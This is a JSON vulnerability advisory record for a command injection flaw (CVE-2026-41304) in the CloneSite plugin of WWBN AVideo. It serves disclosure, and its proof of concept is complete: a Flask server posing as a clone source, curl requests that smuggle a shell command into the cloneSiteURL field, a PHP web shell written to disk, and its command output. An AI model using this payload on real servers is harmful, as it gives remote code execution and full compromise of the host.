{"id":"CVE-2026-41304","aliases":["GHSA-xr6f-h4x7-r6qp"],"url":"https://o3.security/vulnerability/CVE-2026-41304","summary":"WWBN AVideo vulnerable to RCE caused by clonesite plugin","details":"Description\n\n## Summary\n\nThe `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection.\n\nAn attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to **Remote Code Execution (RCE)** on the server.\n\n## Details\n\nInside `plugin/CloneSite/cloneClient.json.php`(line112) didn't have proper sanitization\n\n```php\n$objClone->cloneSiteURL = str_replace(\"'\", '', escapeshellarg($objClone->cloneSiteURL));\n```\n\nuse `str_replace ` make `'` added by `escapeshellarg` become ` ` so hacker can inject evil `cloneSiteURL` to rce\n\n```php\n$sqlURL = \"{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}\"; \\\\116\n$cmd = \"wget -O {$sqlFile} {$sqlURL}\"; \\\\117\nexec($cmd . \" 2>&1\", $output, $return_val);                 \\\\119\n```\n\nThe attack flow\n\n1. make a evil site to provide date\n\n2. add  evil url in `objects/pluginAddDataObject.json.php` \n\n3. access `plugin/CloneSite/cloneClient.json.php` to trigger rce\n\n   \n\n## Poc\n\nmake a evil site use python like this \n\n```python\nfrom flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\n@app.route('/', defaults={'path': ''})\n@app.route('/<path:path>')\ndef catch_all(path):\n    print(\"PATH:\", path)\n\n\n    return jsonify({\n            \"error\": False,\n            \"msg\": \"\",\n            \"url\": \"http://target-site.com/\",\n            \"key\": \"target_clone_key\",\n            \"useRsync\": 0,\n            \"videosDir\": \"/var/www/html/AVideo/videos/\",\n            \"sqlFile\": \"Clone_mysqlDump_evil123.sql\",\n            \"videoFiles\": [],\n            \"photoFiles\": []\n        })\n\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8071)\n```\n\nchange url with payload like (need admin)\n\n```shell\ncurl -b 'PHPSESSID=<admin_session>'\n-X POST \"http://127.0.0.1/objects/pluginAddDataObject.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"cloneSiteURL\":\"http://127.0.0.1:8071/;echo${IFS}\\\"<?=system(\\\\$_POST[1])?>\\\"${IFS}>1.php;/\",\n    \"cloneSiteSSHIP\":\"127.0.0.1\",\n    \"cloneSiteSSHUser\":\"1\",\n    \"cloneSiteSSHPort\":\"22\",\n    \"cloneSiteSSHPassword\":{\n        \"type\":\"encrypted\",\n        \"value\":\"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg==\"\n    },\n    \"useRsync\":true,\n    \"MaintenanceMode\":false,\n    \"myKey\":\"ba882541262f3202ee5a5ad790ae5b70\"\n}' \n#inject evil code\ncurl \"http://127.0.0.1/plugin/CloneSite/cloneClient.json.php\" #trigger rce to write 1.php\ncurl \"http://127.0.0.1/plugin/CloneSite/1.php\" \n -d '1=id'\n #uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\nthis payload is to create a web shell \n\nthen access `plugin/CloneSite/cloneClient.json.php` \n\n`1.php`will be created \n\n## impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nadd more powerful sanitization for `$objClone->cloneSiteURL`","published":"2026-04-21T23:07:48.585Z","modified":"2026-08-12T03:51:25.150862451Z","cvss":null,"epss":{"score":0.02221,"percentile":0.80994,"asOf":"2026-08-08"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/473c609fc2defdea8b937b00e86ce88eba1f15bb","label":"WWBN/AVideo@473c609"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41304.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-xr6f-h4x7-r6qp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41304"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/473c609fc2defdea8b937b00e86ce88eba1f15bb"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.150862451Z"}}